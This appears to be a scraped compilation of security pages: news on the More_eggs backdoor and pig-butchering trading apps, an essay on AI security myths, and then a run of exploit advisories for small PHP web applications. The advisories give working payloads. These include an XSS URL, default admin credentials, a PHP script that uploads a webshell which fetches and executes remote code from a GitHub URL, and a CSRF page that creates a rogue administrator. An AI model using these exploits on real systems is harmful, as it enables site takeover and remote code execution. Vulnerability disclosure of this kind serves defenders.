A spear-phishing email campaign has been observed targeting recruiters with a JavaScript backdoor called More_eggs, indicating persistent efforts to single out the sector under the guise of fake job applicant lures.
"A sophisticated spear-phishing lure tricked a recruitment officer into downloading and executing a malicious file disguised as a resume, leading to a more_eggs backdoor infection,"

A spear-phishing email campaign has been observed targeting recruiters with a JavaScript backdoor called More\_eggs, indicating persistent efforts to single out the sector under the guise of fake job applicant lures.

"A sophisticated spear-phishing lure tricked a recruitment officer into downloading and executing a malicious file disguised as a resume, leading to a more\_eggs backdoor infection," Trend Micro researchers Ryan Soliven, Maria Emreen Viray, and Fe Cureg said in an analysis.

More\_eggs, sold as a malware-as-a-service (MaaS), is a malicious software that comes with capabilities to siphon credentials, including those related to online bank accounts, email accounts, and IT administrator accounts.

It's attributed to a threat actor called the Golden Chickens group (aka Venom Spider), and has been put to use by several other e-crime groups like FIN6 (aka ITG08), Cobalt, and Evilnum.

Earlier this June, eSentire disclosed details of a similar attack that leverages LinkedIn as a distribution vector for phony resumes hosted on an attacker-controlled site. The files, in reality, are Windows shortcut (LNK) files that, upon opening, trigger the infection sequence.

The latest findings from Trend Micro mark a slight deviation from the earlier observed pattern in that the threat actors sent a spear-phishing email in a likely attempt to build trust and gain their confidence. The attack was observed in late August 2024, targeting a talent search lead working in the engineering sector.

"Shortly after, a recruitment officer downloaded a supposed resume, John Cboins.zip, from a URL using Google Chrome," the researchers said. "It was not determined where this user obtained the URL. However, it was clear from both users' activities that they were looking for an inside sales engineer."

The URL in question, johncboins\[.\]com, contains a "Download CV" button to entice the victim into downloading a ZIP archive file containing the LNK file. It's worth noting that the attack chain reported by eSentire also includes an identical site with a similar button that directly downloads the LNK file.

Double-clicking the LNK file results in the execution of obfuscated commands that lead to the execution of a malicious DLL, which, in turn, is responsible for dropping the More\_eggs backdoor via a launcher.

More\_eggs commences its activities by first checking if it's running with admin or user privileges, followed by running a series of commands to perform reconnaissance of the compromised host. It subsequently beacons to a command-and-control (C2) server to receive and execute secondary malware payloads.

Trend Micro said it observed another variation of the campaign that includes PowerShell and Visual Basic Script (VBS) components as part of the infection process.

"Attributing these attacks is challenging due to the nature of MaaS, which allows for the outsourcing of various attack components and infrastructure," it said. "This makes it difficult to pin down specific threat actors, as multiple groups can use the same toolkits and infrastructure provided by services like those offered by Golden Chickens."

That said, it's suspected that the attack could have been the work of FIN6, the company noted, citing the tactics, techniques, and procedures (TTPs) employed.

The development comes weeks after HarfangLab shed light on PackXOR, a private packer used by the FIN7 cybercrime group to encrypt and obfuscate the AvNeutralizer tool.

The French cybersecurity firm said it observed the same packer being used to "protect unrelated payloads" such as the XMRig cryptocurrency miner and the r77 rootkit, raising the possibility that it could also be leveraged by other threat actors.

"PackXOR developers might indeed be connected to the FIN7 cluster, but the packer appears to be used for activities that are not related to FIN7," HarfangLab said.

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Fake Job Applications Deliver Dangerous More_eggs Malware to HR Professionals

Pig Butchering scam targets crypto users with fake trading apps on Apple and Google Play Stores. Disguised as…

Pig Butchering scam targets crypto users with fake trading apps on Apple and Google Play Stores. Disguised as legitimate platforms, these apps defraud investors, bypassing store checks and exploiting unsuspecting users globally.

A fraud campaign targeting **Apple iOS and Android users** has been discovered by GroupIB, involving fake trading apps. These apps, found on Apple’s App Store and Google Play, and on phishing sites, are part of a Pig Butchering scam targeting cryptocurrency investors in Asia-Pacific, Middle East & Africa, and European regions.

Group-IB’s Threat Intelligence, and Fraud Protection analysts first discovered these fake mobile applications in May 2024 and have been investigating the campaign ever since.

According to their **report** shared with Hackread.com ahead of publishing on Wednesday, these applications were developed for Android using a single cross-platform framework. One was distributed through the Google Play store, while another targeted iOS devices.

What’s worse, unlike traditional mobile trojans, these applications had no typical malicious features and cybercriminals have created a facade of a legitimate trading platform to defraud victims.

The fraudulent apps check the current date and time to bypass Apple’s App Store checks, launching a fake activity with mathematical formulas and graphics if it is earlier than 22 July 2024, 00:00:00. Android samples were designed to display a fraudulent trading application hosted on the api.fxbrokerscc domain, part of a larger fraudulent infrastructure.

According to researchers, these fake trading apps and downloader apps mimic legitimate platforms and may include features like account settings, transaction history, and stock information. Downloader apps, found in the Apple App Store or distributed through phishing websites, prompt victims to install the fraudulent app.

Fake app on Apple Store (left) – Fake app on Google Play Store (Screenshot: Ground-IB)

The malware family used in the pig butchering scam is **UniShadowTrade**, classified under the UniApp Framework. This name is given by Group-IB analysts to categorize the fraudulent applications involved in the scam. For your information, the UniApp framework enables developers to create cross-platform applications with a single codebase, making it easier for scammers to develop and distribute malware.

****What Exactly is Pig Butchering?****

For your information, **Pig butchering** is a notorious digital scam that involves a meticulous process of grooming victims, building trust, and ultimately defrauding them of their money.

This particular campaign follows a specific pattern: target identification through social media, grooming and trust-building through social engineering techniques, offering a seemingly lucrative investment opportunity in cryptocurrency or other investments, encouraging a small initial investment, and building confidence through small profits.

Scammers pressure victims into making large investments, transfer funds they cannot withdraw, and disappear. This process continues until the victim is unable to withdraw the funds, causing significant financial loss and affecting their financial stability.

Nevertheless, scams Pig butchering can have devastating consequences for victims. Understanding scammers’ tactics and taking proactive measures can reduce the risk of falling victim to such fraud.

****Alert for Android and iOS users****

It is a fact that Google, which owns Android, and Apple, which owns the iOS App Store, try their best to keep the marketplace safe from malware and other cybersecurity threats. Despite constant monitoring, cybercriminals often slip into these stores with malicious apps, draining the bank accounts and crypto wallets of unsuspecting users.

Just last week, **Google approved** a crypto drainer app on the Play Store that stole over $70,000 from Android users. On the other hand, **in February 2024**, Apple approved a fake LastPass Password Manager app on its iOS App Store. The same month, Apple approved a **fake Rabby Wallet app** that stole millions from unsuspecting users.

Therefore, be extra careful when downloading an app from any of these stores. Check their reviews, search for the official app on Google, find their social media platforms, and confirm whether the app advertised on app stores is legitimate or not.

1.  **Phishing Scam Hits European Bank Users on iOS and Android**
2.  **Scylla Ad Fraud on iOS, Android Users Halted by Apple, Google**
3.  **Pink Drainer Posed as Journalists, Stole $3M from Twitter Users**
4.  **Hackers Posed as Google Support to Steal $243 Million in Crypto**
5.  **Apple mistakenly approved malware masked as Adobe Flash Player**

Pig Butchering: Fake Trading Apps Target Crypto on Apple, Google Play Stores

Organizations looking to maximize their security posture will find AI a valuable complement to existing people, systems, and processes.

Source: marcos alvarado via Alamy Stock Photo

COMMENTARY

The global rise of increasingly sophisticated cybercrimes creates daily challenges for the cybersecurity industry, as security professionals grapple with new and evolving attacks, complex IT architecture, and the integration of artificial intelligence (AI) into nefarious actors' tactics, techniques, and procedures (TTPs). As a result, cybersecurity practitioners feel a sense of urgency to stay at the forefront of technological advances to defend against a growing arsenal of exploits.

In this environment, a methodical approach to the intentional use of AI for cybersecurity protocols will help avoid falling prey to the hype and myths of groupthink, such as these five myths of AI and cybersecurity: 

**1\. You'll fall behind if AI isn't your primary solution for cybersecurity.**

While AI can enhance cybersecurity tasks by analyzing large volumes of data to recognize nefarious identifying patterns, it can also be susceptible to false positives and negatives, be trained on bad data, or act in unexpected ways. Many common cyber threats can still be effectively mitigated through basic security practices like strong passwords, regular patching, and employee awareness about social engineering. Incorporating AI into security solutions is not a license to abandon proven tools and replace established best practices. Sophisticated attackers will find ways to evade AI-based detection, so adopting AI cannot be the only solution for security and defense. Time-tested security practices like organizational culture, leadership commitment, and employee training are still critical fundamentals of a robust organizational risk management practice. 

**2\. Threat actors are using AI, which will lead to an exponential increase in cyberattacks.**

AI is undoubtedly a powerful tool that can be used for both good and bad — it's not a guaranteed game-changer for threat actors. The cybersecurity landscape is a dynamic battleground, and the interplay between AI-powered attacks and defenses is complex. AI may increase the speed and sophistication of certain attacks, such as better phishing attempts; however, it has not fundamentally changed the attack vectors or the attack surface within organizations. A mature security posture using foundational defensive practices continues to be a sound approach to reducing risk and thwarting attacks. 

**3\. AI-powered tools are better, and every tool needs an AI feature.**

AI-aided tools can provide powerful additions to a defensive infrastructure with quicker, more comprehensive data discovery. Left unchecked, AI is capable of producing sometimes comical but altogether bad results, such as the Google Overview suggestion of adding glue to homemade pizza sauce, or the McDonald's AI drive-through putting bacon on ice cream. In cybersecurity, erroneous results have serious consequences, including loss of trust, excessive costs, and endangering human safety. The potential benefit of any AI-powered resource must be balanced against the potential cost of error. The safest use of AI is within a layered defense model, which allows for verification and redundancy in protective solutions. 

**4\. You can only combat AI with AI.**

AI is a valuable tool in the cybersecurity quiver, but it's not impenetrable. Like any other defensive technique, attackers can exploit vulnerabilities in AI models or develop exploits to bypass AI defenses. Combating AI threats requires a multilayered approach that combines AI with human expertise, traditional security measures, and a strong focus on prevention, detection, and response. Using AI to combat AI may also raise ethical and legal concerns, particularly around issues like autonomous decision-making, accountability, and potential for misuse. These concerns must be carefully considered before implementation, to ensure responsible, ethical use of AI in cybersecurity. By leveraging the strengths of both humans and AI, organizations can build a more resilient and effective cybersecurity posture. 

**5\. AI is going to replace your job.**

Companies who are hiring fewer entry-level people for cybersecurity roles are not doing so because AI has eliminated those jobs; rather, they are limited by shrinking budgets and a need to hire people who can make an immediate impact when they come onboard. AI excels at automating repetitive tasks, analyzing vast amounts of data and identifying patterns, but human intuition and judgment is still needed to interpret those insights, make critical decisions, and adapt strategies to combat evolving threats. At its best, AI allows humans to focus on creative and strategic thinking to deliver complex problem-solving. The prominence of AI has created new jobs like AI engineers and AI ethicists to manage AI systems. AI-related roles, along with roles in cybersecurity, will continue to emerge and evolve. AI won't replace people, but people who know how to work with AI may replace people who don't. 

Effective cybersecurity requires a multilayered approach that combines technology, processes, and people. Solely relying on AI for cybersecurity can create a false sense of security, and AI-based cybersecurity solutions can be costly and complex. While AI is transforming the workforce, it's unlikely to lead to widespread job displacement. Instead, it likely will change the nature of work and require adaptation and development of new skills.

Progressive companies will see the value of investing in training programs and implementing policies that support workforce transition. Organizations looking to maximize their security posture with enhanced value, productivity, creativity, and innovation will find AI a valuable complement to existing people, systems, and processes.  

**About the Authors**

Senior Vice President & Executive Dean, Western Governors University

Paul Bingham is the senior vice president and executive dean at Western Governors University’s School of Technology, which currently serves 60,000 students nationwide and is the top conferrer of cybersecurity degrees in the country. Prior to WGU, Paul spent 24 years as an FBI agent, leading and managing domestic and international cybersecurity investigations and FBI SWAT teams on over 100 high-risk tactical missions. 

SIEM & Data Analytics Engineer, H2L Solutions Inc.

Micah VanFossen is a cybersecurity engineer currently working as a SIEM & Data Analytics Engineer at H2L Solutions Inc., where he focuses on data ETL (enrich, transform, load) processes, detections, and data analysis. He is a lifelong learner, spending time researching, studying, and educating others through his blog, The Purple Van. Micah is also a member of the SIII Tiger Team for the US Cyber Games Program and holds an MS in cybersecurity and information assurance from WGU.

Top 5 Myths of AI &amp; Cybersecurity

Tourism Management System version 1.0 suffers from a cross site scripting vulnerability.

    =============================================================================================================================================| # Title     : Tourism Management System 1.0 XSS Vulnerability                                                                             || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits)                                                            || # Vendor    : https://www.sourcecodester.com/sites/default/files/download/oretnom23/tourism_1.zip                                         |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use Payload : /rate_review.php?id=1"><script>alert(/indoushka/)</script>[+] http://localhost/tourism/rate_review.php?id=1%22%3E%3Cscript%3Ealert(/indoushka/)%3C/script%3EGreetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

Tourism Management System 1.0 Cross Site Scripting

Teacher Subject Allocation Management System version 1.0 suffers from an ignored default credential vulnerability.

    ====================================================================================================================================| # Title     : Teacher Subject Allocation Management System 1.0 Insecure Settings Vulnerability                                   || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits)                                                   || # Vendor    : https://phpgurukul.com/teacher-subject-allocation-system-using-php-and-mysql/                                      |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Settings : appears to leave a default administrative account in place post installation.[+] use payload :     Username: admin      Password: Test@123[+] http://127.0.0.1/tsas/admin/login.phpGreetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

Teacher Subject Allocation Management System 1.0 Insecure Settings

Task Management System version 1.0 suffers from a PHP code injection vulnerability.

    =============================================================================================================================================| # Title     : Task Management System 1.0 php code injection Vulnerability                                                                 || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits)                                                            || # Vendor    : https://www.campcodes.com/downloads/task-management-system-in-php-mysql-source-code/?wpdmdl=8164&refresh=66bb949d45e891723569309 |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] This PHP code is designed to create a file and inject PHP code.[+] save payload as poc.php [+] usage : C:\www\test>php poc.php 127.0.0.1[+] payload : <?phpfunction file_upload($target_ip) {    $file_name = "indoushka.php";    $webshell_payload = "<?php        \$url = 'https://raw.githubusercontent.com/indoushka/txt/main/indoushka.txt';        \$ch = curl_init();        curl_setopt(\$ch, CURLOPT_URL, \$url);        curl_setopt(\$ch, CURLOPT_RETURNTRANSFER, true);        \$output = curl_exec(\$ch);        curl_close(\$ch);        if (\$output) {            include 'data://text/plain;base64,' . base64_encode(\$output);        }    ?>";    $post_fields = array(                'save' => '',        'firstname' => 'az',        'lastname' => 'azgt',        'email' => 'az@gt.gt',        'password' => 'az@gtgt',      'img' => new CURLFile('data://text/plain;base64,' . base64_encode($webshell_payload), 'application/x-php', $file_name),                  'qty' => '1'    );    $ch = curl_init();    curl_setopt($ch, CURLOPT_URL, "$target_ip/ajax.php?action=update_user");    curl_setopt($ch, CURLOPT_POST, 1);    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);    $response = curl_exec($ch);    curl_close($ch);    echo "(+) Shell uploaded successfully.\n";    echo "(+) Access the shell at: $target_ip/assets/uploads/\n";}if ($argc != 2) {    echo "(+) Usage: php " . $argv[0] . " <target ip>\n";    echo "(+) Example: php " . $argv[0] . " 10.0.0.1\n";    exit(-1);}$target_ip = $argv[1];file_upload($target_ip);Greetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

Task Management System 1.0 Code Injection

Supply Chain Management version 1.0 suffers from a backup disclosure vulnerability.

    =============================================================================================================================================| # Title     : Supply Chain Management v1.0 Backup Disclosure Vulnerability                                                                || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits)                                                            || # Vendor    : https://download-media.code-projects.org/2020/04/Supply_Chain_Management_IN_PHP_CSS_Js_AND_MYSQL__FREE_DOWNLOAD.zip         |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use payload : /backup/[+] Panel : http://127.0.0.1/scm-master/backup/Greetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

Supply Chain Management 1.0 Backup Disclosure

Event Management System version 1.0 suffers from an insecure direct object reference vulnerability.

    =============================================================================================================================================| # Title     : Event Management System v1.0 IDOR Vulnerability                                                                             || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits)                                                            || # Vendor    : https://www.kashipara.com/project/download/project2/user/2023/202302/kashipara.com_event-mgt-sys-zip.zip                    |=============================================================================================================================================POC :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Direct Object Reference : suffers from an insecure direct object reference that allows users to access the administrative interface.[+] Use Payload : /admin/gallary.php[+] http://127.0.0.1/event_mgt_sys/admin/gallary.phpGreetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

Event Management System 1.0 Insecure Direct Object Reference

Student Attendance Management System version 1.0 suffers from an ignored default credential vulnerability.

    =============================================================================================================================================| # Title     : Student Attendance Management System v1.0 Insecure Settings Vulnerability                                                   || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                            || # Vendor    : https://www.sourcecodester.com/php/14561/student-attendance-management-system-using-phpmysqli-source-code.html              |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Settings : appears to leave a default administrative account in place post installation.[+] use payload : user =  admin & pass = admin123[+] https://www/127.0.0.1/yorubanwitness000webhostappcom/admin/Greetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

Student Attendance Management System 1.0 Insecure Settings

Printing Business Records Management System version 1.0 suffers from a cross site request forgery vulnerability.

    =============================================================================================================================================| # Title     : Printing Business Records Management System v1.0 CSRF Add ADmin Vulnerability                                               || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits)                                                            || # Vendor    : https://www.kashipara.com/project/download/project2/user/2023/202301/kashipara.com_pbrms-0-zip.zip                          |=============================================================================================================================================POC :[+] Dorking İn Google Or Other Search Enggine.[+] The following html code add new admin .[+] Line 06 set your target.[+] Line 15 + 19 set your user & pass[+] save code as poc.html .<!DOCTYPE html> <html> <body> <script> function submitRequest()  { var xhr = new XMLHttpRequest();  xhr.open("POST", "http://localhost/pbrms/classes/Users.php?f=save", true); xhr.setRequestHeader("Accept", "*\/*");  xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5"); xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------"); xhr.withCredentials = true;  var body = "-----------------------------\r\n" +  "Content-Disposition: form-data; name=\"username\"\r\n" +  "\r\n" +  "indoushka\r\n" +  "-----------------------------\r\n" +  "Content-Disposition: form-data; name=\"password\"\r\n" +  "\r\n" +  "Hacked\r\n" +  "-----------------------------\r\n" +  "Content-Disposition: form-data; name=\"type\"\r\n" +  "\r\n" +  "1\r\n" +  "-------------------------------\r\n";  var aBody = new Uint8Array(body.length);  for (var i = 0; i < aBody.length; i++)  aBody[i] = body.charCodeAt(i);  xhr.send(new Blob([aBody]));  } </script> <form action="#"> <input type="button" value="Submit request" onclick="submitRequest();" /> </form>  </body>  </html>Greetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

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